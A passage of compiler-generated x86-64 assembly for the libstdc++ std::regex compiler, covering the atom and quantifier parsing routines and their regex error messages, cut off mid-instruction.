_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEixEm movzx eax, BYTE PTR [rax] cmp al, 110 sete al mov BYTE PTR [rbp-17], al mov rax, QWORD PTR [rbp-184] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_disjunctionEv mov rax, QWORD PTR [rbp-184] mov esi, 8 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE xor eax, 1 test al, al je .L1176 mov esi, OFFSET FLAT:.LC26 mov edi, 5 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L1176: lea rax, [rbp-176] mov rdx, QWORD PTR [rbp-184] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE6_M_popEv mov rax, QWORD PTR [rbp-184] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE16_M_insert_acceptEv mov rdx, rax lea rax, [rbp-176] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE9_M_appendEl mov rax, QWORD PTR [rbp-184] lea rbx, [rax+304] mov rax, QWORD PTR [rbp-184] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rcx, rax movzx edx, BYTE PTR [rbp-17] mov rax, QWORD PTR [rbp-168] mov rsi, rax mov rdi, rcx call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE19_M_insert_lookaheadElb mov r12, rax mov rax, QWORD PTR [rbp-184] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-48] mov rdx, r12 mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rax, [rbp-48] mov rsi, rax mov rdi, rbx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ jmp .L1172 .L1175: mov eax, 0 jmp .L1177 .L1172: mov eax, 1 .L1177: add rsp, 176 pop rbx pop r12 pop rbp ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE7_M_atomEv: push rbp mov rbp, rsp push r12 push rbx sub rsp, 176 mov QWORD PTR [rbp-184], rdi mov rax, QWORD PTR [rbp-184] mov esi, 0 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE test al, al je .L1179 mov rax, QWORD PTR [rbp-184] mov eax, DWORD PTR [rax] mov esi, 16 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax sete al test al, al je .L1180 mov rax, QWORD PTR [rbp-184] mov eax, DWORD PTR [rax] mov esi, 1 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax sete al test al, al je .L1181 mov rax, QWORD PTR [rbp-184] mov eax, DWORD PTR [rax] mov esi, 8 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax sete al test al, al je .L1182 mov rax, QWORD PTR [rbp-184] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE27_M_insert_any_matcher_posixILb0ELb0EEEvv jmp .L1191 .L1182: mov rax, QWORD PTR [rbp-184] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE27_M_insert_any_matcher_posixILb0ELb1EEEvv jmp .L1191 .L1181: mov rax, QWORD PTR [rbp-184] mov eax, DWORD PTR [rax] mov esi, 8 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax sete al test al, al je .L1185 mov rax, QWORD PTR [rbp-184] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE27_M_insert_any_matcher_posixILb1ELb0EEEvv jmp .L1191 .L1185: mov rax, QWORD PTR [rbp-184] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE27_M_insert_any_matcher_posixILb1ELb1EEEvv jmp .L1191 .L1180: mov rax, QWORD PTR [rbp-184] mov eax, DWORD PTR [rax] mov esi, 1 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax sete al test al, al je .L1187 mov rax, QWORD PTR [rbp-184] mov eax, DWORD PTR [rax] mov esi, 8 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax sete al test al, al je .L1188 mov rax, QWORD PTR [rbp-184] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE26_M_insert_any_matcher_ecmaILb0ELb0EEEvv jmp .L1191 .L1188: mov rax, QWORD PTR [rbp-184] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE26_M_insert_any_matcher_ecmaILb0ELb1EEEvv jmp .L1191 .L1187: mov rax, QWORD PTR [rbp-184] mov eax, DWORD PTR [rax] mov esi, 8 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax sete al test al, al je .L1190 mov rax, QWORD PTR [rbp-184] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE26_M_insert_any_matcher_ecmaILb1ELb0EEEvv jmp .L1191 .L1190: mov rax, QWORD PTR [rbp-184] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE26_M_insert_any_matcher_ecmaILb1ELb1EEEvv jmp .L1191 .L1179: mov rax, QWORD PTR [rbp-184] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE11_M_try_charEv test al, al je .L1192 mov rax, QWORD PTR [rbp-184] mov eax, DWORD PTR [rax] mov esi, 1 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax sete al test al, al je .L1193 mov rax, QWORD PTR [rbp-184] mov eax, DWORD PTR [rax] mov esi, 8 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax sete al test al, al je .L1194 mov rax, QWORD PTR [rbp-184] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE22_M_insert_char_matcherILb0ELb0EEEvv jmp .L1191 .L1194: mov rax, QWORD PTR [rbp-184] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE22_M_insert_char_matcherILb0ELb1EEEvv jmp .L1191 .L1193: mov rax, QWORD PTR [rbp-184] mov eax, DWORD PTR [rax] mov esi, 8 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax sete al test al, al je .L1197 mov rax, QWORD PTR [rbp-184] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE22_M_insert_char_matcherILb1ELb0EEEvv jmp .L1191 .L1197: mov rax, QWORD PTR [rbp-184] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE22_M_insert_char_matcherILb1ELb1EEEvv jmp .L1191 .L1192: mov rax, QWORD PTR [rbp-184] mov esi, 4 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE test al, al je .L1198 mov rax, QWORD PTR [rbp-184] lea rbx, [rax+304] mov rax, QWORD PTR [rbp-184] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov r12, rax mov rax, QWORD PTR [rbp-184] mov esi, 10 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE16_M_cur_int_valueEi cdqe mov rsi, rax mov rdi, r12 call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE17_M_insert_backrefEm mov r12, rax mov rax, QWORD PTR [rbp-184] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-112] mov rdx, r12 mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rax, [rbp-112] mov rsi, rax mov rdi, rbx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ jmp .L1191 .L1198: mov rax, QWORD PTR [rbp-184] mov esi, 14 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE test al, al je .L1199 mov rax, QWORD PTR [rbp-184] mov eax, DWORD PTR [rax] mov esi, 1 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax sete al test al, al je .L1200 mov rax, QWORD PTR [rbp-184] mov eax, DWORD PTR [rax] mov esi, 8 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax sete al test al, al je .L1201 mov rax, QWORD PTR [rbp-184] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE33_M_insert_character_class_matcherILb0ELb0EEEvv jmp .L1191 .L1201: mov rax, QWORD PTR [rbp-184] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE33_M_insert_character_class_matcherILb0ELb1EEEvv jmp .L1191 .L1200: mov rax, QWORD PTR [rbp-184] mov eax, DWORD PTR [rax] mov esi, 8 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax sete al test al, al je .L1204 mov rax, QWORD PTR [rbp-184] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE33_M_insert_character_class_matcherILb1ELb0EEEvv jmp .L1191 .L1204: mov rax, QWORD PTR [rbp-184] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE33_M_insert_character_class_matcherILb1ELb1EEEvv jmp .L1191 .L1199: mov rax, QWORD PTR [rbp-184] mov esi, 6 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE test al, al je .L1205 mov rax, QWORD PTR [rbp-184] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE15_M_insert_dummyEv mov rbx, rax mov rax, QWORD PTR [rbp-184] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-144] mov rdx, rbx mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl mov rax, QWORD PTR [rbp-184] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_disjunctionEv mov rax, QWORD PTR [rbp-184] mov esi, 8 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE xor eax, 1 test al, al je .L1206 mov esi, OFFSET FLAT:.LC26 mov edi, 5 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L1206: lea rax, [rbp-80] mov rdx, QWORD PTR [rbp-184] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE6_M_popEv lea rdx, [rbp-80] lea rax, [rbp-144] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE9_M_appendERKS4_ mov rax, QWORD PTR [rbp-184] lea rdx, [rax+304] lea rax, [rbp-144] mov rsi, rax mov rdi, rdx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushERKS5_ jmp .L1191 .L1205: mov rax, QWORD PTR [rbp-184] mov esi, 5 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE test al, al je .L1207 mov rax, QWORD PTR [rbp-184] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE23_M_insert_subexpr_beginEv mov rbx, rax mov rax, QWORD PTR [rbp-184] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-176] mov rdx, rbx mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl mov rax, QWORD PTR [rbp-184] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_disjunctionEv mov rax, QWORD PTR [rbp-184] mov esi, 8 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE xor eax, 1 test al, al je .L1208 mov esi, OFFSET FLAT:.LC26 mov edi, 5 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L1208: lea rax, [rbp-48] mov rdx, QWORD PTR [rbp-184] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE6_M_popEv lea rdx, [rbp-48] lea rax, [rbp-176] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE9_M_appendERKS4_ mov rax, QWORD PTR [rbp-184] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE21_M_insert_subexpr_endEv mov rdx, rax lea rax, [rbp-176] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE9_M_appendEl mov rax, QWORD PTR [rbp-184] lea rdx, [rax+304] lea rax, [rbp-176] mov rsi, rax mov rdi, rdx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushERKS5_ jmp .L1191 .L1207: mov rax, QWORD PTR [rbp-184] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE21_M_bracket_expressionEv xor eax, 1 test al, al je .L1191 mov eax, 0 jmp .L1209 .L1191: mov eax, 1 .L1209: add rsp, 176 pop rbx pop r12 pop rbp ret .LC27: .string "Nothing to repeat before a quantifier." _ZZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE13_M_quantifierEvENKUlvE_clEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] add rax, 304 mov rdi, rax call _ZNKSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE5emptyEv test al, al je .L1211 mov esi, OFFSET FLAT:.LC27 mov edi, 10 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L1211: mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+8] movzx eax, BYTE PTR [rax] test al, al je .L1212 mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] mov esi, 18 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE test al, al je .L1212 mov edx, 1 jmp .L1213 .L1212: mov edx, 0 .L1213: mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+8] mov BYTE PTR [rax], dl nop leave ret _ZNSt5stackIlSt5dequeIlSaIlEEED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt5dequeIlSaIlEED1Ev nop leave ret .LC28: .string "Unexpected token in brace expression." .LC29: .string "Unexpected end of brace expression." .LC30: .string "Invalid range in brace expression." _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE13_M_quantifierEv: push rbp mov rbp, rsp push r12 push rbx sub rsp, 592 mov QWORD PTR [rbp-600], rdi mov rax, QWORD PTR [rbp-600] mov eax, DWORD PTR [rax] mov esi, 16 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax setne al mov BYTE PTR [rbp-145], al mov rax, QWORD PTR [rbp-600] mov QWORD PTR [rbp-176], rax lea rax, [rbp-145] mov QWORD PTR [rbp-168], rax mov rax, QWORD PTR [rbp-600] mov esi, 20 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE test al, al je .L1216 lea rax, [rbp-176] mov rdi, rax call _ZZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE13_M_quantifierEvENKUlvE_clEv lea rax, [rbp-208] mov rdx, QWORD PTR [rbp-600] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE6_M_popEv mov rax, QWORD PTR [rbp-600] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax movzx eax, BYTE PTR [rbp-145] movzx edx, al mov rax, QWORD PTR [rbp-200] mov ecx, edx mov rdx, rax mov rsi, -1 call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE16_M_insert_repeatEllb mov rbx, rax mov rax, QWORD PTR [rbp-600] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-240] mov rdx, rbx mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rdx, [rbp-240] lea rax, [rbp-208] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE9_M_appendERKS4_ mov rax, QWORD PTR [rbp-600] lea rdx, [rax+304] lea rax, [rbp-240] mov rsi, rax mov rdi, rdx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushERKS5_ jmp .L1217 .L1216: mov rax, QWORD PTR [rbp-600] mov esi, 21 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE test al, al je .L1218 lea rax, [rbp-176] mov rdi, rax call _ZZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE13_M_quantifierEvENKUlvE_clEv lea rax, [rbp-272] mov rdx, QWORD PTR [rbp-600] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE6_M_popEv mov rax, QWORD PTR [rbp-600] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax movzx eax, BYTE PTR [rbp-145] movzx edx, al mov rax, QWORD PTR [rbp-264] mov ecx, edx mov rdx, rax mov rsi, -1 call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE16_M_insert_repeatEllb mov rdx, rax lea rax, [rbp-272] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE9_M_appendEl mov rax, QWORD PTR [rbp-600] lea rdx, [rax+304] lea rax, [rbp-272] mov rsi, rax mov rdi, rdx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushERKS5_ jmp .L1217 .L1218: mov rax, QWORD PTR [rbp-600] mov esi, 18 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE test al, al je .L1219 lea rax, [rbp-176] mov rdi, rax call _ZZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE13_M_quantifierEvENKUlvE_clEv lea rax, [rbp-304] mov rdx, QWORD PTR [rbp-600] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE6_M_popEv mov rax, QWORD PTR [rbp-600] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE15_M_insert_dummyEv mov QWORD PTR [rbp-56], rax mov rax, QWORD PTR [rbp-600] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax movzx eax, BYTE PTR [rbp-145] movzx edx, al mov rax, QWORD PTR [rbp-296] mov ecx, edx mov rdx, rax mov rsi, -1 call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE16_M_insert_repeatEllb mov rbx, rax mov rax, QWORD PTR [rbp-600] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-336] mov rdx, rbx mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl mov rdx, QWORD PTR [rbp-56] lea rax, [rbp-304] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE9_M_appendEl mov rdx, QWORD PTR [rbp-56] lea rax, [rbp-336] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE9_M_appendEl mov rax, QWORD PTR [rbp-600] lea rdx, [rax+304] lea rax, [rbp-336] mov rsi, rax mov rdi, rdx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushERKS5_ jmp .L1217 .L1219: mov rax, QWORD PTR [rbp-600] mov esi, 12 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE test al, al je .L1220 mov rax, QWORD PTR [rbp-600] add rax, 304 mov rdi, rax call _ZNKSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE5emptyEv test al, al je .L1221 mov esi, OFFSET FLAT:.LC27 mov edi, 10 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L1221: mov rax, QWORD PTR [rbp-600] mov esi, 26 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE xor eax, 1 test al, al je .L1222 mov esi, OFFSET FLAT:.LC28 mov edi, 7 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L1222: lea rax, [rbp-368] mov rdx, QWORD PTR [rbp-600] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE6_M_popEv mov rax, QWORD PTR [rbp-600] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE15_M_insert_dummyEv mov rbx, rax mov rax, QWORD PTR [rbp-600] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-400] mov rdx, rbx mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl mov rax, QWORD PTR [rbp-600] mov esi, 10 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE16_M_cur_int_valueEi cdqe mov QWORD PTR [rbp-64], rax mov BYTE PTR [rbp-17], 0 mov rax, QWORD PTR [rbp-600] mov esi, 25 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE test al, al je .L1223 mov rax, QWORD PTR [rbp-600] mov esi, 26 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE test al, al je .L1224 mov rax, QWORD PTR [rbp-600] mov esi, 10 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE16_M_cur_int_valueEi cdqe sub rax, QWORD PTR [rbp-64] mov QWORD PTR [rbp-32], rax jmp .L1226 .L1224: mov BYTE PTR [rbp-17], 1 jmp .L1226 .L1223: mov QWORD PTR [rbp-32], 0 .L1226: mov rax, QWORD PTR [rbp-600] mov esi, 13 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE xor eax, 1 test al, al je .L1227 mov esi, OFFSET FLAT:.LC29 mov edi, 6 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L1227: movzx eax, BYTE PTR [rbp-145] test al, al je .L1228 mov rax, QWORD PTR [rbp-600] mov esi, 18 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE test al, al je .L1228 mov eax, 1 jmp .L1229 .L1228: mov eax, 0 .L1229: mov BYTE PTR [rbp-145], al mov QWORD PTR [rbp-40], 0 .L1231: mov rax, QWORD PTR [rbp-40] cmp rax, QWORD PTR [rbp-64] jge .L1230 lea rax, [rbp-144] lea rdx, [rbp-368] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE8_M_cloneEv lea rdx, [rbp-144] lea rax, [rbp-400] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE9_M_appendERKS4_ add QWORD PTR [rbp-40], 1 jmp .L1231 .L1230: cmp BYTE PTR [rbp-17], 0 je .L1232 lea rax, [rbp-432] lea rdx, [rbp-368] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE8_M_cloneEv mov rax, QWORD PTR [rbp-600] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax movzx eax, BYTE PTR [rbp-145] movzx edx, al mov rax, QWORD PTR [rbp-424] mov ecx, edx mov rdx, rax mov rsi, -1 call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE16_M_insert_repeatEllb mov rbx, rax mov rax, QWORD PTR [rbp-600] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-464] mov rdx, rbx mov 